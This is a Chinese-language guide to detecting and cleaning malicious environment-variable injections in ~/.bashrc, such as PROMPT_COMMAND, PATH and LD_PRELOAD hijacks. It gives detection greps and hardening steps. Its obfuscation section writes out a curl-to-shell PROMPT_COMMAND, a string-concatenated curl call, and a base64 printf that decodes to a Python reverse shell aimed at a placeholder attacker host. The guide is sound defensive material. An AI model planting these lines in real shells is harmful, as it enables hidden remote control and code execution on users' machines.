直接检查~/.bashrc等shell初始化文件中对prompt_command、path、ld_preload等高危环境变量的异常赋值,是发现身份伪装和服务劫持类注入最有效的方式,因其通过篡改终端启动逻辑实现无进程驻留的隐蔽控制。

重点排查的高危环境变量
攻击者常利用以下变量实现隐蔽控制,需逐项核对是否被非预期修改:
- PROMPT_COMMAND:每条命令执行前都会运行,常见用于记录操作、外传指令或触发下载
- PATH:插入 `/tmp/.X11-unix` 或 `/dev/shm` 等临时目录,使 `ls`、`ps` 等命令实际调用伪装二进制
- LD_PRELOAD:指向恶意 `.so` 文件,劫持 `getuid()` 等 libc 函数,让普通用户进程返回 `0` 伪装成 root
- SSH_CONNECTION / SSH_CLIENT:被硬编码为固定值,干扰审计日志对真实来源的判断
- PS1:嵌入不可见字符或 base64 编码的反连 payload,配合终端渲染漏洞触发
快速定位可疑行的实用命令
不用手动翻查,用组合命令直击风险点:
- 查所有用户级 `.bashrc` 中含赋值且带关键词的行:
find /home -name ".bashrc" -type f -exec grep -l "PROMPT_COMMAND\|LD_PRELOAD\|/tmp\|/dev/shm\|base64\|curl\|wget" {} \; - 查看 root 和管理账户 `.bashrc` 中非注释、非空的实际赋值:
grep -vE '^#|^$' /root/.bashrc | grep '=' - 检查当前 PATH 是否被前置了陌生路径:
echo $PATH | tr ':' '\n' | grep -E "^/tmp|^/dev|^/var/tmp"
识别典型混淆与伪装手法
以下不是“示例代码”,而是真实环境中高频出现的绕过检测写法:
- 用反斜杠换行隐藏逻辑:
PROMPT_COMMAND="curl -s http://x.x/x.sh \ | sh &" - 用变量拼接绕过字符串匹配:
a=c;b=ur;c=l; d=$a$b$c; $d -s http://... - 用 printf + base64 解码执行(注意 base64 内容可能已变形):
printf "aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoImF0dGFja2VyLWlwIiwgcG9ydCkpO29zLmR1cDIocy5maWxlbm8oKSwwKTsgb3MuZHVwMihzLmZpbGVubygpLDEpOyBvcy5kdXAyKHMuZmlsZW5vKCksMik7cD1zdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwiLWkiXSk7" | base64 -d | bash
清理与加固要点
发现后不能只删一行,要同步处理衍生风险:
- 先执行 chattr -i ~/.bashrc 解除不可修改属性(攻击者常加 `+i`)
- 检查该文件是否被硬链接:find / -samefile ~/.bashrc 2>/dev/null
- 对比默认模板:diff ~/.bashrc /etc/skel/.bashrc,仅保留你主动修改的部分
- 设置防护属性(确认无误后):chattr +i ~/.bashrc











